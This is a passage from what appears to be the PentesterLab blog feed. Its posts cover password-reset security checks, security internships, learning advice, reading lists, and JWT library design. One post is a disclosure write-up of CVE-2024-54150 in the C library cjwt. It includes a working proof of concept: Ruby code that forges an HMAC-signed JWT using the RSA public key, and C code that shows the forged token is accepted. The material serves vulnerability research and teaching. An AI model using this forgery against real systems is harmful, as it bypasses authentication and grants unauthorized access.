5. They can then proceed to log in with the new password.

However, this seemingly simple process is full of potential risks::

• Token Reuse: Attackers could reuse tokens if they are not invalidated after a single use or expiration.
• Phishing: Poorly implemented password reset links can be exploited in phishing attacks, directing users to malicious sites.
• Token Interception: Tokens exposed in logs, headers, or unsecured channels can be intercepted by attackers.
• Brute-Force Attacks: Weak or predictable tokens can be guessed through automated attacks.

---

URL in Email Should Not Be Based on Host Header

When sending a reset link by email, the application needs to determine where the link should point. This can be done in two main ways:

• Hardcoding the value in the code or setting it via configuration.
• Using the Host header provided by the client.

If the application relies on the Host header, an attacker can forge a request pointing to their own server. If a victim clicks the malicious reset link, the attacker can intercept the secret token and reset the user’s password.

Pentest vs Code Review Check: Testing this vulnerability is easier through pentesting, as it can be confirmed in a single request. However, code reviews are more reliable since server configurations or application architecture (e.g., reverse proxies) may block exploitation.

---

Limit Link Usage (Time-Based or Attempt-Based)

Password reset links should have strict limitations:

• Implement time-based expiration.
• Restrict the number of attempts to use the token.
• Invalidate the token once the password is successfully reset.

Failing to implement these restrictions increases the risk of brute force attacks or delayed exploitation by attackers.

Pentest vs Code Review Check: This is definitely easier to verify through a code review, as it is not always clear how this is managed over time during a black-box audit.

---

Use Cryptographically Random Tokens

The security of a password reset process depends on the randomness of the tokens. Ensure tokens are generated using cryptographically secure random number generators.

Pentest vs Code Review Check: Code reviews are better suited for verifying token randomness, as black-box testing may not uncover issues such as the use of predictable values that only appear random (e.g., MD5 hashes of timestamps).

---

Validate Tokens Correctly

Tokens must be validated securely to prevent bypasses or timing attacks:

• Use constant-time comparison functions to avoid timing attacks.
• Ensure the token value is matched securely (e.g., avoid using SQL LIKE for token lookups).
• Validate the token at all relevant steps (e.g., both before displaying the reset form and when resetting the password).

Pentest vs Code Review Check: Dynamic testing may identify some of these issues, but a source code review provides comprehensive coverage and assurance.

---

Ensure Tokens Are User-Specific

Tokens should be tied to specific users. A token valid for one user must not work for another. This requires pairing tokens with user identifiers (e.g., email or user ID) during validation.

Pentest vs Code Review Check: Black-box testing might reveal token reuse issues, but white-box testing ensures a thorough understanding of token handling.

---

Store Passwords Securely

Password storage must meet modern security standards:

• Never store passwords in plain text.
• Avoid weak hashing algorithms like MD5, SHA1 or SHA2.
• Use algorithms designed for password storage (e.g., BCrypt, SCrypt, PBKDF2) with sufficient iteration counts.

Refer to the OWASP Password Storage Cheat Sheet for recommended settings.

Pentest vs Code Review Check: This is best reviewed through code review. To verify it via black-box testing, you would need access to a database dump and an understanding of the hashed password format.

---

Enforce Password Complexity

Ensure the application enforces a reasonable level of password complexity, ideally during both registration and password reset. Verifying complexity at these stages helps maintain consistent security across functionalities.

Pentest vs Code Review Check: Code reviews are more effective for verifying password complexity requirements, though black-box tests can highlight weak or missing enforcement.

---

Prevent Link Leakage

Password reset links can be leaked through several channels:

• Using HTTP instead of HTTPS.
• Sending emails without TLS encryption.
• In the application's logs.
• Exposing links through the Referer header.

Pentest vs Code Review Check: Preventing link leakage often requires a combination of black-box testing and code reviews to ensure proper implementation and secure deployment.

---

Final Thoughts

A secure password reset process demands meticulous attention to detail and adherence to best practices. By addressing the risks and following this checklist, you can build a robust system that protects user accounts and maintains trust in your application.

Remember, this checklist is a starting point—the bare minimum for a secure implementation. Regular reviews and updates are essential to staying ahead of emerging threats.

To deepen your understanding of secure coding practices, explore our Live Web Security Code Review Training and earn the PentesterLab Code Review Badge to showcase your expertise. ]]> Thu, 02 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/password-reset-code-review-pentest-checklist https://pentesterlab.com/blog/password-reset-code-review-pentest-checklist Security internships are a fantastic way to learn, gain experience, and establish a foothold in the cybersecurity industry. However, they come with a variety of expectations and realities that may differ from what you imagine. Here’s a detailed look at what to expect, with a focus on the practical aspects of security internships.

Compensation: Will You Get Paid?

Whether or not you get paid for a security internship depends on several factors, including:

• Laws in Your Country: Many countries have strict regulations against unpaid internships due to their history of being overused and exploitative.
• Company Policy: Some organizations value interns and offer competitive pay, while others may provide unpaid opportunities with the promise of experience.

Before accepting an unpaid internship, ensure it aligns with your financial situation and career goals. Also, verify that the internship complies with local labor laws. The more valuable the work you are going to perform, the more likely you should get paid.

Once you've established the terms of your internship, the next step is understanding the kind of work you may be assigned.

Working on Real Engagements: Rare, Especially Early On

You’re likely not going to be working on live client engagements at the start of your internship. Here’s why:

• Client Confidentiality: Companies are hesitant to let interns handle sensitive client data or systems, especially without prior experience.
• Risk of Errors: Testing applications or interacting with production systems involves a potential risk of causing disruptions. Companies typically prefer to assign these tasks to experienced staff to minimize the risk.
• Trust and Training: It takes time for a company to assess your skills and build confidence in your work.

Instead, you may:

• Shadow Senior Staff: If you're lucky, you might observe engagements to learn how professionals handle real-world scenarios.
• Review Reports: If you're extremely lucky, you might get to review reports. These can provide valuable insights into how findings are documented and communicated, though access may be limited due to confidentiality.
• Work on Internal Projects: Many interns are tasked with projects that benefit the company indirectly, such as:
  • Researching new tools or techniques.
  • Automating repetitive tasks.
  • Developing internal methodologies or processes.
  • Testing security setups in non-production environments.

If you do work on real clients, make sure you're not alone on an engagement. Being left unsupported in such scenarios can lead to mistakes and unnecessary stress—a situation no company should impose on an intern. Your primary role is to learn and contribute meaningfully, not to serve as cheap or unpaid labor.

Internships Are Often a Test

An internship isn’t just an opportunity for you to evaluate a potential career path—it’s also a test for the company to assess whether they want to hire you in the future. Companies will observe:

• Your ability to learn and adapt.
• How well you collaborate with others.
• Your reliability and problem-solving skills.

The projects you’re assigned often reflect this dual purpose: to provide value to the company while testing your capabilities.

The Nature of Your Work

Interns in cybersecurity often work on tasks such as:

• Research: Investigating specific vulnerabilities, frameworks, or attack techniques.
• Automation: Writing scripts to streamline repetitive processes, like log analysis or vulnerability scanning.
• Methodology Development: Creating guides or templates for security processes based on existing knowledge.
• Training Materials: Assisting in the creation of resources to educate teams or clients about cybersecurity.

These tasks may not always be glamorous, but they are vital for building your foundational skills and understanding of the field.

My Internship

For me, I was lucky to score an internship at Hervé Schauer Consultants in Paris. During the interview, the team noticed my passion for Linux and web security. They decided to challenge me by assigning me a project in a completely different domain: Windows Kernel Programming.

I worked on building a simple syscall proxy for Windows, which was an entirely new area for me at the time. This project helped me fill a significant gap in my knowledge and expanded my understanding of operating systems beyond my comfort zone. It was a pivotal moment in my learning journey and an excellent example of how internships can stretch your capabilities in unexpected ways.

Key Takeaways

Here’s what you can expect from your internship, realistically:

• You may or may not get paid, depending on location and company policy.
• Early on, you’re unlikely to work directly on sensitive client engagements.
• Your projects will likely focus on benefiting the company indirectly, such as research, automation, or process development.
• It’s a trial period for both you and the company—an opportunity to learn, grow, and demonstrate your potential.

Making the Most of Your Internship

Follow these tips to maximize your experience:

• Be Proactive: Take initiative on projects and ask for more responsibility as you grow confident.
• Ask Questions: Don’t hesitate to seek guidance; internships are for learning. Google first (if the question is non-confidential), then ask for help. For sensitive or client-related questions, consult your mentor directly.
• Document Your Work: Keep a record of what you’ve done—it’s invaluable for future resumes or interviews.
• Network: Build connections with colleagues and mentors. These relationships can open doors to future opportunities.

A security internship might not always match the idealized vision of hacking into systems and finding vulnerabilities in live environments, but it is an essential stepping stone toward building a successful career. Approach it with curiosity, adaptability, and a willingness to learn, and you’ll emerge stronger for the experience.

]]> Wed, 01 Jan 2025 00:00:00 +0000 https://pentesterlab.com/blog/what-to-expect-security-internship https://pentesterlab.com/blog/what-to-expect-security-internship

PentesterLab is widely recognized as a top-tier training platform for application security (AppSec) professionals, penetration testers, and code reviewers. However, our platform's flexibility and depth have inspired creative uses far beyond the typical. Here are some surprising ways organizations and individuals leverage PentesterLab to address unique challenges and foster growth.

Vouchers for Security Champions

Companies often reward security champions—developers who go above and beyond to prioritize security in their work with PentesterLab vouchers. These vouchers not only acknowledge their efforts but also empower them with practical skills to better advocate for security within their teams.

Support for Failed Interviews

Some organizations provide PentesterLab vouchers to candidates who fail interviews for application security, code review or pentester roles. This approach helps candidates identify gaps in their knowledge and develop the skills needed to succeed in future interviews. It’s an investment in potential talent, demonstrating a willingness to nurture growth.

Probation Period Challenges

Employers integrate PentesterLab into probationary periods, challenging new hires to complete specific badges within a set timeframe. This not only evaluates their technical abilities but also fosters hands-on learning, ensuring a stronger start in their role. It also has the advantage to keep new employees busy during onboarding.

Developer Training: Thinking Like a Hacker

PentesterLab helps developers think like hackers, giving them insights into how attackers exploit vulnerabilities. This training isn’t about turning developers into pentesters but equipping them to write secure code and identify potential flaws during the development process.

Incident Response (IR) Team Training

IR teams use PentesterLab to deepen their understanding of real-world attacks. By working through labs, they gain firsthand knowledge of what attackers do, including pivoting techniques and post-exploitation activities. This enhances their ability to detect and respond to sophisticated threats.

Discovering Future Security Team Members

Some organizations use PentesterLab as a scouting tool to identify developers who might have the aptitude and passion to join their AppSec or security teams. Watching how individuals tackle labs provides valuable insight into their problem-solving skills and genuine interest in security. As one user put it: "It's one thing to love the idea of being a hacker; it’s another to truly love being one.".

Conclusion

PentesterLab’s versatility makes it more than a training platform—it’s a tool for fostering talent, building teams, and nurturing a culture of security. Whether you're looking to motivate employees, train developers, or scout future security experts, PentesterLab provides the resources to make it happen.

Explore new ways to use PentesterLab within your organization and discover how it can help you meet your security and training goals.

]]> Wed, 25 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/creative-ways-to-use-pentesterlab https://pentesterlab.com/blog/creative-ways-to-use-pentesterlab h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

It's starting to look a lot like Christ^WHackMas

🔐 Another JWT Algorithm Confusion Vulnerability: CVE-2024-54150

Why shouldn't I share my own content? Here's a shameless plug for my article on the JWT Algorithm Confusion Vulnerability I found in a C library.

🐘 How an Obscure PHP Footgun Led to RCE in Craft CMS

Check out this excellent write-up by the Assenote team on how an obscure PHP footgun led to RCE in Craft CMS.

📚 AppSec eZine #566

The latest edition of AppSec eZine is here! Read issue #566.

]]> Mon, 23 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week51-2024 https://pentesterlab.com/blog/research-worth-reading-week51-2024 PentesterLab is a comprehensive platform designed for application security engineers focused on identifying weaknesses, vulnerabilities, and areas for improvement in real-world codebases. By working through the labs, you’ll develop the skills and confidence needed to excel in your role.

Learning to Read Code Early: The Essential Badge

For instance, early in your learning journey, the Essential Badge includes detailed code review videos for most labs. These videos offer valuable insights into identifying vulnerable patterns, understanding real-world issues, and thinking critically as a security reviewer. This ensures you gain perspective on both sides of the puzzle: black-box and white-box testing. Learning code review is not an afterthought, it is part of the journey.

The Challenge and Reward of Code Review

Code review on PentesterLab is challenging but immensely rewarding. The progression from snippets to patches to full codebases builds resilience and expertise over time. These labs go beyond simply finding vulnerabilities; they focus on uncovering weaknesses and proposing improvements—a realistic approach that mirrors the responsibilities of application security engineers. It’s not about only locating exploitable vulnerabilities, the next vulnerability in your chain, or creating serialization gadgets; it’s about identifying security issues commonly found in real-world codebases. The full codebases you will audit in the badge are actually based on real projects from GitHub I reviewed to find vulnerabilities.

 

Building Tools and Hands-On Learning

PentesterLab provides a deep hands-on learning experience. You’ll create your own tools and exploits, such as generating JWT tokens from scratch using OpenSSL, JSON, and Base64. Rather than relying on libraries or pre-built hacking tools, you’ll learn to write your own tools. This will allow you to audit protocols and formats for which a library or a hacking tool may not be available. The goal isn’t to teach you how to run ./pwn but to empower you to write the next pwn.

Mastering Cryptographic Vulnerabilities

For cryptography enthusiasts, and also because it is a key aspect of an application security engineer’s role, you’ll explore vulnerabilities in application leveraging ECB, CBC, CBC-MAC, and GCM for encryption. This helps you develop a strong foundation for analyzing cryptographic protocols. This hands-on approach ensures you’re well-prepared for complex security challenges.

Accessible for All Learners

Whether you’re a subscriber or exploring the free labs, PentesterLab has something for everyone. PRO subscribers should aim to complete all the badges, as even the introductory ones contain valuable tricks and techniques. Free users can make significant progress with our free ISOs, free labs of the month (rotated every month), and our free Recon badge.

More Than a Platform: A Resource for Growth

PentesterLab is more than just a platform; it’s a resource to help application security engineers build a robust foundation in secure coding and code review. It enables you to identify and remediate weaknesses in real-world applications while gaining practical, hands-on experience.

PentesterLab is the platform I wish I had when I learned to be an application security engineer and when I trained security engineers.

Start your journey today and elevate your application security skills with PentesterLab!

]]> Mon, 23 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/leveraging-pentesterlab-application-security-engineers https://pentesterlab.com/blog/leveraging-pentesterlab-application-security-engineers Recently, I was in Brisbane to give a talk on JWT algorithm confusion vulnerabilities. During a conversation with my friend Luke (whose blog you should definitely check out, especially if you are into Ruby Security, I mentioned how fortunate I felt to have found a real-world example of such a vulnerability for my presentation. I assumed that finding another instance would be highly unlikely, especially after reviewing a fair number of libraries written in weakly-typed languages without success.

However, once again, I was proven wrong. Shifting my focus to libraries written in C, I stumbled upon an interesting one: xmidt-org/cjwt. Upon a quick code review, I noticed some red flags. Sure enough, the library contained a critical algorithm confusion vulnerability.

What Is Algorithm Confusion?

Algorithm confusion occurs when a system fails to properly verify the type of signature used in a JWT, allowing an attacker to exploit insufficient distinction between different signing methods. For instance, if a server expects an asymmetric algorithm like RS256 but doesn’t enforce proper checks, an attacker could craft a malicious token using an HMAC signature (HS256) and trick the server into validating it with the public key as the HMAC secret.

This vulnerability arises when systems conflate the verification process for HMAC and asymmetric keys, potentially leading to unauthorized access. This risk is further amplified by the possibility of deriving RSA or EC public keys from a few captured signatures.

The 🚩🚩🚩🚩

I recommend reading my previous article: How JWT Libraries Block Algorithm Confusion: Key Lessons for Code Review, It covers the checks libraries can implement to prevent algorithm confusion and will make the following analysis much easier.

The first 🚩🚩 can be found in the example code in code example for RSA inexamples/basic/rs_example.c:




  const char *rs_pub_key =
      "-----BEGIN PUBLIC KEY-----\n"
      "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
      "vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
      "aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
      "tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
      "e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
      "V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
      "MwIDAQAB\n"
      "-----END PUBLIC KEY-----";

  rv = cjwt_decode(rs_text, strlen(rs_text), 0,
        (uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);

We can see that the key is provided as a char * and that the function cjwt_decode does not require developers to pick an algorithm.

If we compare this code to the example for HMAC in examples/basic/hs_example.c, we can see that the code is identical (aside from the variable’s name).:

  const char *hs_key = "hs256-secret";

  rv = cjwt_decode(hs_text, strlen(hs_text), 0, 
        (uint8_t *) hs_key, strlen(hs_key), 0, 0, &jwt);

🚩🚩

Now, if we jump to the code of the function cjwt_decode() in src/cjwt.c, we can see that the code ends up calling process_header_json() to retrieve the value of alg from the JWT’s header:




  alg = cJSON_GetObjectItemCaseSensitive(json, "alg");

  //[...]

  if (0 != alg_to_enum(alg->valuestring, &cjwt->header.alg)) {
    return CJWTE_HEADER_UNSUPPORTED_ALG;
  }       

This is another 🚩.




We can then see that the code used to verify the signature relies on the header we just populated:





cjwt_code_t jws_verify_signature(const cjwt_t *jwt, const struct sig_input *in)
{   
  switch (jwt->header.alg) {
    case alg_es256:
      return verify_most(EVP_sha256(), in, EVP_PKEY_EC, 0);

    // […]

    case alg_hs256:
      return verify_hmac(EVP_sha256(), in);

After a quick check to ensure that verify_hmac() does not have any magic code to try to detect a public key passed as secret. It’s time to write a quick POC.

The POC

The following Ruby code demonstrates how to generate a malicious token using HMAC and a public key:

require 'openssl'
require 'base64'

secret_key = "-----BEGIN PUBLIC KEY-----...-----END PUBLIC KEY-----"

message = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg.eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0"

hmac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), 
                            secret_key, message)

signature_base64 = Base64.urlsafe_encode64(hmac, padding: false)

puts "Signature (Base64): #{signature_base64}"
puts message+'.'+signature_base64 

That code prints a malicious token signed using HMAC with the public key from examples/basic/rs_example.c. We can now use this malicious token in examples/basic/rs_example.c to make sure the attack works:




#include 
#include 
#include 

#include "cjwt.h"
int main(void)
{
  cjwt_t *jwt = NULL;
  cjwt_code_t rv;

  /* the ps variant is very similar */
  const char *rs_text =
      /* header */
      "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9Cg."
      /* payload */
      "eyJzdWIiOiIxMjM0NTY3ODkwIiwibGlicmFyeSI6Imh0dHBzOi8vZ2l"
      "0aHViLmNvbS94bWlkdC1vcmcvY2p3dCIsImlhdCI6MTUxNjIzOTAyMn0."
      /* [OUR MALICIOUS] signature */
      "dCJQACrMVrIMf2Jc6s2S_ABf46Csdqmqv-ZNMrTQhPM";
  const char *rs_pub_key =
      "-----BEGIN PUBLIC KEY-----\n"
      "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnzyis1ZjfNB0bBgKFMSv\n"
      "vkTtwlvBsaJq7S5wA+kzeVOVpVWwkWdVha4s38XM/pa/yr47av7+z3VTmvDRyAHc\n"
      "aT92whREFpLv9cj5lTeJSibyr/Mrm/YtjCZVWgaOYIhwrXwKLqPr/11inWsAkfIy\n"
      "tvHWTxZYEcXLgAXFuUuaS3uF9gEiNQwzGTU1v0FqkqTBr4B8nW3HCN47XUu0t8Y0\n"
      "e+lf4s4OxQawWD79J9/5d3Ry0vbV3Am1FtGJiJvOwRsIfVChDpYStTcHTCMqtvWb\n"
      "V6L11BWkpzGXSW4Hv43qa+GSYOD2QU68Mb59oSk2OB+BtOLpJofmbGEGgvmwyCI9\n"
      "MwIDAQAB\n"
      "-----END PUBLIC KEY-----";

  rv = cjwt_decode(rs_text, strlen(rs_text), 0,
                   (uint8_t *) rs_pub_key, strlen(rs_pub_key), 0, 0, &jwt);

  if (CJWTE_OK != rv) {
      printf("There was an error processing the text: %d\n", rv);
      return -1;
  }

  cjwt_print(stdout, jwt);

  cjwt_destroy(jwt);

  return 0;
}

It works! A final check to make sure I didn’t miss anything and now it is time to report it! You can find the report here: GHSA-9h24-7qp5-gp82/CVE-2024-54150.

Final Thoughts

This is a critical point I emphasize in my Web Security Code Review Training: always challenge assumptions—whether they come from developers or from yourself!

I hope this article inspires you to approach your code reviews with curiosity, critical thinking, and a willingness to question assumptions. This mindset is key to uncovering overlooked vulnerabilities.

]]> Fri, 20 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/another-jwt-algorithm-confusion-cve-2024-54150 https://pentesterlab.com/blog/another-jwt-algorithm-confusion-cve-2024-54150 As we gear up for the new year, many of us reflect on how we can improve and grow. For those on a hacker journey—whether you're a beginner or sharpening advanced skills—this is the perfect time to commit to becoming better. Here are some practical, empowering tips to help you set meaningful resolutions and stick to them:

1. Never Fail Twice

Failure is part of learning. It’s okay to miss a strike or stumble. What matters is keeping the momentum. Don’t let one bad day turn into a bad week. When you fall, get back up—every single time.

2. Be Kind to Yourself

Hacking is hard. Learning to hack is even harder. It takes time, persistence, and patience. If a challenge feels insurmountable, take a break—go for a walk or step away for a bit. If you're tackling one of our challenges and get stuck, consider looking at a spoiler or watching a video for guidance. If you need the video, that's okay! Revisit the material in a week or two with a fresh perspective. Don’t beat yourself up over needing extra time. Remember: if you’re not failing, you’re not learning.

3. Take Baby Steps

Progress isn’t always flashy. It’s about incremental improvements—one small step at a time. Look at your learning curve as something that compounds over time: 1% better every day for a year makes you 37 times better at the end of the year (1.01**365). Celebrate each victory, no matter how small it seems. Over time, those baby steps will lead to big leaps.

4. Be Laser-Focused

Choose one goal and stick to it. It’s tempting to flip-flop between aspirations, but true growth comes from sustained effort. Whether it’s mastering a specific lab, understanding a framework, or contributing to open-source, commit and follow through.

5. Start When You’re Ready

January 1st might seem like the perfect time to start, but let’s face it—it’s also a time when many of us are exhausted from the holidays, maybe you just partied last night... Not the best day to start something. Give yourself permission to start a bit later, when life has settled and you’re in a better headspace. There’s no rule saying your resolution must begin on the first day of the year.

6. Make It Personal

New Year’s resolutions are deeply personal. Think about what will truly help you grow as a hacker, not what others expect. Maybe it’s diving into web hacking because you’re a web developer, or exploring social engineering because of your background in sales. Tailor your goals to your unique journey.

7. Embrace Mistakes

Mistakes and wasted time are not failures—they’re essential parts of the learning process. Every misstep teaches you something valuable. If you went in the wrong direction, you know now that this direction was wrong, and you won’t go in that direction anymore. That’s part of learning. Don’t shy away from making mistakes; embrace them as stepping stones to mastery.

Share Your Journey

Finally, I’d love to hear from you: what’s your New Year’s resolution? Sharing your goals not only keeps you accountable but also inspires others to set and achieve their own. Let’s make 2024 the year you outdo yourself, tackle new challenges, and redefine what’s possible in your hacker journey!

]]> Thu, 19 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/level-up-your-hacker-journey-in-2025 https://pentesterlab.com/blog/level-up-your-hacker-journey-in-2025 Bug bounty hunting has become an exciting way to develop security skills, earn some extra income, and contribute to securing applications around the world. Whether you're just starting out or looking to level up your bug bounty game, PentesterLab can provide the structured learning you need to succeed. Here's a clear roadmap tailored for both free and paid users of PentesterLab.

---

Step 1: Start with the Basics

For Free Users: Bootcamp + Recon Badge

If you’re just beginning your bug bounty journey and using only PentesterLab's free content, start with the Bootcamp. This will introduce you to the foundational skills you need to understand web vulnerabilities and penetration testing basics.

Once you've completed the Bootcamp, focus on the Recon Badge (free). Reconnaissance is an essential skill for bug bounty hunters, as it helps you identify potential attack surfaces before others.

Each month, we make a few labs available for free, referred to as the Free Labs of the Month. Be sure to complete them each month!

Finally, you can use our free ISO labs to learn a lot of new techniques and attacks, you can find them in the Free Offline Labs section of the site. You will only need virtualization software to boot the ISO.

• Free Path Summary:
• Complete Bootcamp
• Earn the Recon Badge
• Work on the Free Labs of the Month (updated regularly)
• Work on the Free Offline ISOs (updated regularly)

These free resources are more than enough to get your hands dirty and start identifying your first few bugs in real-world applications.

---

Step 2: Level Up with a Paid Subscription

If you have access to a PentesterLab paid subscription, your learning path expands significantly. You also get access to video walkthroughs that will help you learn the right way to do things.

Goal: Achieve the White Badge

Achieving White Badge is a milestone that demonstrates you’ve gained solid practical skills in web application security. Here’s how to proceed:

1. Complete the Bootcamp and Recon Badge, just like free users.
2. Progress through PentesterLab’s exercises to achieve the White Badge.

Why the White Badge? It ensures you’ve covered the major web vulnerabilities (in the previous badges, especially the Essential Badge), have proper foundations in Unix and Network Security (PCAP Badge and HTTP Badge), and have hands-on experience, making you ready to identify and report bugs effectively.

---

Step 3: Start Testing and Balancing Learning

Once you’ve achieved the Recon Badge and are on your way to the White Badge, it’s time to start testing in bug bounty programs. But don’t drop learning completely! A good balance between learning and testing will accelerate your success.

Here’s a suggested approach for managing your time:

• Start with a 50/50 Split:
  • Spend 50% of your time learning new skills on PentesterLab and 50% testing on real bug bounty platforms.
  • Example: If you dedicate 10 hours a week to bug bounty, spend 5 hours learning and 5 hours testing.
• Gradually Shift Focus to Bug Bounty:
  • As you gain confidence and start identifying bugs, increase the time spent on testing.
  • Move from 50/50 to 70/30, and eventually aim for 90/10 (90% bug bounty testing, 10% learning).
• Why Keep Learning?
  • Bug bounty programs are competitive, and you’ll often need to think outside the box. Continuing to learn on PentesterLab ensures you stay ahead and refine your skills.
  • Use learning time to dive into new vulnerability classes, improve recon skills, or explore advanced topics.

---

Step 4: Build Your Momentum

As you follow this plan, you'll notice a natural progression:

1. Learn -> Test -> Fail -> Learn Again: Every time you miss a bug or fail to find anything, go back to PentesterLab and strengthen your skills.
2. Celebrate Small Wins: Landing your first bug, even a low-severity one, is a major milestone. Use this success to motivate yourself.
3. Stay Consistent: The key to bug bounty success is consistency. Dedicate a set number of hours per week, even if it’s small.

---

Summary: A Roadmap to Success

Free Path:

• Bootcamp
• Recon Badge
• Free Labs of the Month
• Free ISOS
• Start bug bounty hunting with foundational skills.

Paid Path:

• Complete labs to achieve the White Badge.
• Recon Badge
• Split time between learning (PentesterLab) and testing:
  • Start with 50/50
  • Gradually move to 90/10 as you improve.

By leveraging PentesterLab's structured content, you'll develop the confidence and skills necessary to find vulnerabilities and succeed in bug bounty programs. Whether you’re starting for free or investing in a paid subscription, consistency, learning, and persistence are your keys to success.

---

Ready to start your journey? Sign Up for PentesterLab and start building your skills today!

]]> Wed, 18 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/leverage-pentesterlab-for-bug-bounty https://pentesterlab.com/blog/leverage-pentesterlab-for-bug-bounty h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Another great week! Enjoy!

💎 The Ruby on Rails _json Juggling Attack

Another fantastic article from Luke on The Ruby on Rails _json Juggling Attack. A must-read for Ruby on Rails enthusiasts!

🍊 Unveiling Hidden Transformers in Windows ANSI [PDF]

Don't miss out on the BlackHat Europe slides from DevCore Unveiling Hidden Transformers in Windows ANSI and some new fun with Windows Unicode.

🌨️ When Replicas Go Rogue - A Deep Dive into Cloudflared Replicas Exploitation Scenarios

A deep-dive into Cloudflare Replicas with multiple attack scenarios, well written and definitely worth a read if you are targeting applications leveraging Cloudflare.

🔍 DOMPurify 3.2.1 Bypass (Non-Default Config)

A great article on DOMPurify and how to leverage namespace confusion using is.

]]> Mon, 16 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week50-2024 https://pentesterlab.com/blog/research-worth-reading-week50-2024 My friend Luke recently published a great blog post titled: The Ruby on Rails _json Juggling Attack. Please make sure you read this article once before jumping to the next sentence.

This is the perfect example to apply something I talked about during my keynote A Journey To Mastery at BSides Canberra.

During this talk, I covered how to consume content: blog posts, videos, news, tweets… Most people in the security industry will read Luke’s article and focus on its impact: you can add _json to an HTTP request to trigger unexpected behavior in Ruby on Rails applications.

This is usually the first step and what you may remember about the blog post. Unfortunately, (too) many people stop there: “Done, that was great! Let’s be productive and read the next article on my to-do list!” But we won’t stop there, as that’s the goal of this post.

What can I learn from this?

The second step is to ask yourself: “What can I learn from this?” Read the article again now.

Quite a few things. First, this is something you can only discover by reading Ruby on Rails source code (unless you’re extremely lucky). Some quirks can only be found through code review, and that’s often how you reach the next level. You can’t always pentest or brute-force your way to cool bugs or unexpected behaviors. Sometimes, putting in the work is essential, and that often means reading the code of a big framework. It’s painful, but it’s the price to pay.

Secondly, you can learn how someone like Luke works. He uses Docker; he uses curl. He quickly creates small applications to test behavior and validate what he finds during his code reviews. This setup gives him a rapid feedback loop—if he notices something worth investigating, he can verify it quickly without relying on a browser, a proxy, or a big web application.

You can also learn how to quickly create a Rails application to do some basic testing. The Dockerfile code is worth studying. This small application in a container is entirely created using one Dockerfile. This can be easily skimmed by a hasty reader. But again, you would miss so much great information. It’s all in the little details.

What patterns can I apply to something else?

Next step: What patterns can I apply to something else? Read the article again now.

There are a lot of patterns you can apply to other contexts.

First, frameworks and libraries may have special/magic keywords that are worth discovering. I can apply this to all my future reviews and look specifically for this pattern in my favorite framework.

Secondly, parameters available to developers are often in a specific order, which can vary based on the framework, the language, or even the configuration of the language’s engine (see PHP’s variables-order). I can apply this pattern to my favorite language or framework.

Thirdly, the order of these parameters matters and is worth learning about. You might find in your next review that this introduces a vulnerability. See CVE-2022-31683 for a real example of this.

Why didn’t I find it?

Next step: Why didn’t I find it?

Personally, I have a great excuse: Luke showed me this a while ago. But why might I have missed it otherwise? Maybe I don’t read enough code, or perhaps I didn’t focus on this type of issue. Time constraints could also be a factor. The real question, however, is: If I had reviewed the same code, would I have recognized the issue and understood its full impact? If not, why? What assumptions or limitations in my code review process might have caused me to miss this?

Final Thoughts

Hopefully, you enjoy this post. Worst case scenario: you’ll have read a great article on Ruby on Rails quirks a few times. Next time you read an article or blog post, ask yourself:

• What can I learn from this?
• What patterns can I apply to something else?
• Why didn’t I find it?

Next time you read an article, take an extra 5 minutes to reflect. It could uncover insights that others miss. You don’t have to do it for all articles, but spending a bit more time doing this will surely help you identify blind spots and find ways to improve.

]]> Thu, 12 Dec 2024 00:00:00 +0000 https://pentesterlab.com/blog/reading-between-the-lines-security-learning https://pentesterlab.com/blog/reading-between-the-lines-security-learning I've read the source code of many JWT libraries—some might say, too many. In doing so, I've seen patterns of both effective security practices and common pitfalls. JWT (JSON Web Token) is a widely used standard for securely transmitting information between parties, but the implementation details can make or break its security. Here's a guide on how to design a secure JWT library.

1. Disable the None Algorithm by Default

One of the simplest but most crucial things you can do to secure your JWT library is to disable the None algorithm by default. Allowing users to specify None can lead to a situation where an attacker simply removes the signature and still gets the token validated as legitimate. The None algorithm effectively removes authenticity verification, which defeats the purpose of using JWTs in the first place.

2. Force Users to Pick an Algorithm

Never make assumptions about the cryptographic algorithm that should be used. Do not trust the value coming from the JWT header. Force users to explicitly pick one (or multiple) algorithm(s) for signing and verifying tokens. This approach reduces the likelihood of a developer relying on insecure defaults and it also mitigates the risk of attacks like the None algorithm attack and algorithm confusion attacks. The algorithm can also be matched with the type of key used for added security (thanks for the feedbackInclude Security).

3. No Standalone Decode Method

